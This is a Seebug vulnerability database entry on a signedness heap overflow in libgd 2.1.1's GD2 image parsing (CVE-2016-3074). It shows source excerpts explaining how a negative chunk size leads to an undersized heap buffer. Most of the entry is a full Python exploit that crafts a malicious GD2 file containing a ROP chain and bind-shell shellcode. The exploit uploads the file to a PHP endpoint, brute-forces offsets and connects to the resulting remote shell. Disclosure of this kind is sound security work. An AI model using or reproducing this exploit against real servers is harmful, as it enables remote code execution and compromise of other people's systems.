libgd 2.1.1 - Signedness Heap Overflow

2017-01-18T00:00:00
ID SSV:92626
Type seebug
Reporter 孤独风
Modified 2017-01-18T00:00:00

Description

Vulnerability details

Represents the block index size of 4 bytes is stored in a signed integer.

chunkIdx[i]. size by gdGetInt()to resolve the GD2 head during

libgd-2.1.1/src/gd_gd2. c:

,---- | 53 typedef struct { | 54 int offset; | 55 int size; | 56 } | 57 t_chunk_info;----`

libgd-2.1.1/src/gd_gd2. c:

,---- | 65 static int | 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy, | 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy, | 68 t_chunk_info ** chunkIdx) | 69 { | ... | 73 t_chunk_info *cidx; | ... | 155 if (gd2_compressed (*fmt)) { | ... | 163 for (i = 0; i < nc; i++) { | ... | 167 if (gdGetInt (&cidx[i]. size, in) != 1) { | 168 goto fail2; | 169 }; | 170 }; | 171 *chunkIdx = cidx; | 172 }; | ... | 181 }----` gdImageCreateFromGd2Ctx()and gdImageCreateFromGd2PartCtx()then Based on the maximum block size value for the compressed data in the allocated memory.

libgd-2.1.1/src/gd_gd2. c:

,---- | 371/637 if (gd2_compressed (fmt)) { | 372/638 /* Find the maximum compressed chunk size. */ | 373/639 compMax = 0; | 374/640 for (i = 0; (i < nc); i++) { | 375/641 if (chunkIdx[i]. size > compMax) { | 376/642 compMax = chunkIdx[i]. size; | 377/643 }; | 378/644 }; | 379/645 compMax++; | ...|... | 387/656 compBuf = gdCalloc (compMax, 1); | ...|... | 393/661 };----`

Size less than or equal to 0 as a result of compMax during the cycle retains its initial value, then incremented to 1.

Due to the compMax is used as a gdCalloc()with nmemb,it will lead to compBuf of 1*1 byte allocated.

This is followed by the compressed data is read out to the based on the current block size compBuf: the

libgd-2.1.1/src/gd_gd2. c:

,---- | 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in) | 340 { | ... | 413 if (gd2_compressed (fmt)) { | 414 | 415 chunkLen = chunkMax; | 416 | 417 if (! _gd2ReadChunk (chunkIdx[chunkNum]. offset, | 418 compBuf, | 419 chunkIdx[chunkNum]. size, | 420 (char *) chunkBuf, &chunkLen, in)) { | 421 GD2_DBG (printf ("Error reading comproessed chunk\n")); | 422 goto fail; | 423 }; | 424 | 425 chunkPos = 0; | 426 }; | ... | 501 }----` libgd-2.1.1/src/gd_gd2. c:

,---- | 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h) | 586 { | ... | 713 if (! gd2_compressed (fmt)) { | ... | 731 } else { | 732 chunkNum = cx + cy * ncx; | 733 | 734 chunkLen = chunkMax; | 735 if (! _gd2ReadChunk (chunkIdx[chunkNum]. offset, | 736 compBuf, | 737 chunkIdx[chunkNum]. size, | 738 (char *) chunkBuf, &chunkLen, in)) { | 739 printf ("Error reading comproessed chunk\n"); | 740 goto fail2; | 741 }; | ... | 746 }; | ... | 815 }----`

According to the Read images, The size is then interpreted as fread()or memcpy()of size_t: the

libgd-2.1.1/src/gd_gd2. c:

` ,---- | 221 static int | 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf, | 223 uLongf * chunkLen, gdIOCtx * in) | 224 { | ... | 236 if (gdGetBuf (compBuf, compSize, in) != compSize) { | 237 return FALSE; | 238 }; | ... | 251 }----

libgd-2.1.1/src/gd_io. c: ,---- | 211 int gdGetBuf(void _buf, int size, gdIOCtx _ctx) | 212 { | 213 return (ctx->getBuf)(ctx, buf, size); | 214 } `---- `` For file contexts:

libgd-2.1.1/src/gd_io_file. c:

,---- | 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f) | 53 { | ... | 67 ctx->ctx. getBuf = fileGetbuf; | ... | 76 } | ... | 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size) | 93 { | 94 fileIOCtx *fctx; | 95 fctx = (fileIOCtx *)ctx; | 96 | 97 return (fread(buf, 1, size, fctx->f)); | 98 }----` And for dynamic contexts:

libgd-2.1.1/src/gd_io_dp. c:

,---- | 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag) | 75 { | ... | 95 ctx->ctx. getBuf = dynamicGetbuf; | ... | 104 } | ... | 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len) | 257 { | ... | 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen); | ... | 284 }----`

                                        
                                            
                                                ```
#!/usr/bin/env python2
#
# PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and
# php5-fpm running behind nginx.
#
# ,----
# | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
# | [*] this may take a while
# | [*] offset 912 of 10000...
# | [+] connected to 1.2.3.4:5555
# | id
# | uid=33(www-data) gid=33(www-data) groups=33(www-data)
# |
# | uname -a
# | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
# | 2016 x86_64 x86_64 x86_64 GNU/Linux
# |
# | dpkg -l|grep -E "php5-(fpm|gd)"
# | ii  php5-fpm       5.6.11+dfsg-1ubuntu3.1 ...
# | ii  php5-gd        5.6.11+dfsg-1ubuntu3.1 ...
# |
# | cat upload.php
# | <?php
# |     imagecreatefromgd2($_FILES["file"]["tmp_name"]);
# | ?>
# `----
#
# - Hans Jerry Illikainen
#
import sys
import os
import zlib
import socket
import threading
import argparse
import urlparse
from struct import pack

import requests

# non-optimized bindshell from binjitsu
#
# context(arch="amd64", os="linux")
# asm(shellcraft.bindsh(port, "ipv4"))
shellcode = [
    "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x52\xba",
    "%(fam-and-port)s\x52\x6a\x10\x5a\x48\x89\xc5\x48\x89\xc7",
    "\x6a\x31\x58\x48\x89\xe6\x0f\x05\x6a\x32\x58\x48\x89\xef",
    "\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x48\x89\xef\x31\xf6\x99",
    "\x0f\x05\x48\x89\xc5\x6a\x03\x5e\x48\xff\xce\x78\x0b\x56",
    "\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x48\xb8",
    "\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x6a\x3b\x58\x48\x89",
    "\xe7\x31\xf6\x99\x0f\x05"
]

gadgets = [
    "\x90" * 40,

    # [16]
    #
    # 0xb6eca2:  popfq
    # 0xb6eca3:  callq  *%rsp
    pack("<Q", 0xb6eca2),

    "%(pad)s",

    # [2]
    #
    # 0x4dbe8c:  add  $0xd8,%rsp
    # 0x4dbe93:  retq
    pack("<Q", 0x4dbe8c),

    "\x90" * 48,

    # [1]
    #
    # (gdb) x/x {void *}($rsp + 8)
    # 0x12d7d60:  0x9090909090909090
    #
    # 0xa91f35:  rex.WXB  pop %r14
    # 0xa91f37:  mov      $0x3,%bh
    # 0xa91f39:  pop      %rsp
    # 0xa91f3a:  retq
    pack("<Q", 0xa91f35),

    "\x90" * 152,

    # [0]
    #
    # (gdb) x/i $rip
    # => 0x7f91acf61f46:  callq  *0x70(%rax)
    #
    # (gdb) x/gx 0x432b80
    # 0x432b80:  0x0000000000547880
    #
    # (gdb) x/3i 0x0000000000547880
    # 0x547880:  push   %rbx
    # 0x547881:  mov    %rdi,%rbx
    # 0x547884:  callq  *0x20(%rdi)
    pack("<Q", 0x432b80 - 0x70),

    # [3]
    #
    # 0x463e2c:  pop  %rbx
    # 0x463e2d:  retq
    pack("<Q", 0x463e2c),

    # [7]
    #
    # 0x463b1d:  pop  %r12
    # 0x463b1f:  retq
    pack("<Q", 0x463b1d),

    # [4]
    #
    # 0x473053:  pop  %rax
    # 0x473054:  retq
    pack("<Q", 0x473053),

    # [6]
    #
    # 0xa8bc37:  push  %rdx
    # 0xa8bc38:  jmpq  *%rbx
    pack("<Q", 0xa8bc37),

    # [5]
    #
    # 0x7b2eaf:  mov   %r9,%rdx
    # 0x7b2eb2:  jmpq  *%rax
    pack("<Q", 0x7b2eaf),

    # [8]
    #
    # 0x552768:  mov  %rdi,%rax
    # 0x55276b:  retq
    pack("<Q", 0x552768),

    # [9]
    #
    # 0x463e2c:  pop  %rbx
    # 0x463e2d:  retq
    pack("<Q", 0x463e2c),
    pack("<Q", 0xfffff000),

    # [10]
    #
    # 0xb6c734:  and  %ebx,%eax
    # 0xb6c736:  es retq
    pack("<Q", 0xb6c734),

    # [11]
    #
    # 0x4c93e9:  xchg  %eax,%ebx
    # 0x4c93ea:  retq
    pack("<Q", 0x4c93e9),

    # [12]
    #
    # 0x406a08:  pop  %rcx (len, 0x5555)
    # 0x406a09:  retq
    pack("<Q", 0x406a08),
    pack("<Q", 0x5555),

    # [13]
    #
    # 0xaf58fd:  pop  %rdx (PROT_READ|PROT_WRITE|PROT_EXEC)
    # 0xaf58fe:  retq
    pack("<Q", 0xaf58fd),
    pack("<Q", 7),

    # [14]
    #
    # 0x473053:  pop  %rax (mprotect)
    # 0x473054:  retq
    pack("<Q", 0x473053),
    pack("<Q", 125),

    # [15]
    #
    # 0x53f9f8:  int    $0x80
    # 0x53f9fa:  mov    0x38(%r12),%rsi
    # 0x53f9ff:  mov    $0x8f,%edi
    # 0x53fa04:  callq  *0x28(%r12)
    pack("<Q", 0x53f9f8),

    "\x90" * 100,
]

# gd.h: #define gdMaxColors 256
gd_max_colors = 256


def make_gd2(chunks):
    gd2 = [
        "gd2\x00",                    # signature
        pack(">H", 2),                # version
        pack(">H", 1),                # image size (x)
        pack(">H", 1),                # image size (y)
        pack(">H", 0x40),             # chunk size (0x40 <= cs <= 0x80)
        pack(">H", 2),                # format (GD2_FMT_COMPRESSED)
        pack(">H", 1),                # num of chunks wide
        pack(">H", len(chunks))       # num of chunks high
    ]
    colors = [
        pack(">B", 0),                # trueColorFlag
        pack(">H", 0),                # im->colorsTotal
        pack(">I", 0),                # im->transparent
        pack(">I", 0) * gd_max_colors # red[i], green[i], blue[i], alpha[i]
    ]

    offset = len("".join(gd2)) + len("".join(colors)) + len(chunks) * 8
    for data, size in chunks:
        gd2.append(pack(">I", offset)) # cidx[i].offset
        gd2.append(pack(">I", size))   # cidx[i].size
        offset += size

    return "".join(gd2 + colors + [data for data, size in chunks])


def connect(host, port):
    addr = socket.gethostbyname(host)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((addr, port))
    except socket.error:
        return

    print("\n[+] connected to %s:%d" % (host, port))
    if os.fork() == 0:
        while True:
            try:
                data = sock.recv(8192)
            except KeyboardInterrupt:
                sys.exit("\n[!] receiver aborting")
            if data == "":
                sys.exit("[!] receiver aborting")
            sys.stdout.write(data)
    else:
        while True:
            try:
                cmd = sys.stdin.readline()
            except KeyboardInterrupt:
                sock.close()
                sys.exit("[!] sender aborting")
            sock.send(cmd)


def send_gd2(url, gd2, code):
    files = {"file": gd2}
    try:
        req = requests.post(url, files=files, timeout=5)
        code.append(req.status_code)
    except requests.exceptions.ReadTimeout:
        pass


def get_payload(offset, port):
    rop = "".join(gadgets) % {"pad": "\x90" * offset}

    fam_and_port = pack("<I", (socket.AF_INET | (socket.htons(port) << 16)))
    sc = "".join(shellcode) % {"fam-and-port": fam_and_port}

    return rop + sc


def get_args():
    p = argparse.ArgumentParser()
    p.add_argument("--threads", type=int, default=20)
    p.add_argument("--bind-port", type=int, default=8000)
    p.add_argument("--offsets", type=int, default=[0, 10000], nargs=2)
    p.add_argument("url")
    return p.parse_args()


def main():
    args = get_args()
    host = urlparse.urlparse(args.url).netloc.split(":")[0]

    print("[*] this may take a while")
    for i in range(args.offsets[0], args.offsets[1]):
        sys.stdout.write("\r[*] offset %d of %d..." % (i, args.offsets[1]))
        sys.stdout.flush()

        valid = zlib.compress("A" * 100, 0)
        payload = get_payload(i, args.bind_port)
        gd2 = make_gd2([(valid, len(valid)), (payload, 0xffffffff)])

        threads = []
        code = []
        for _ in range(args.threads):
            t = threading.Thread(target=send_gd2, args=(args.url, gd2, code))
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        if 404 in code:
            sys.exit("\n[-] 404: %s" % args.url)
        connect(host, args.bind_port)

    print("\n[-] nope...")

if __name__ == "__main__":
    main()
```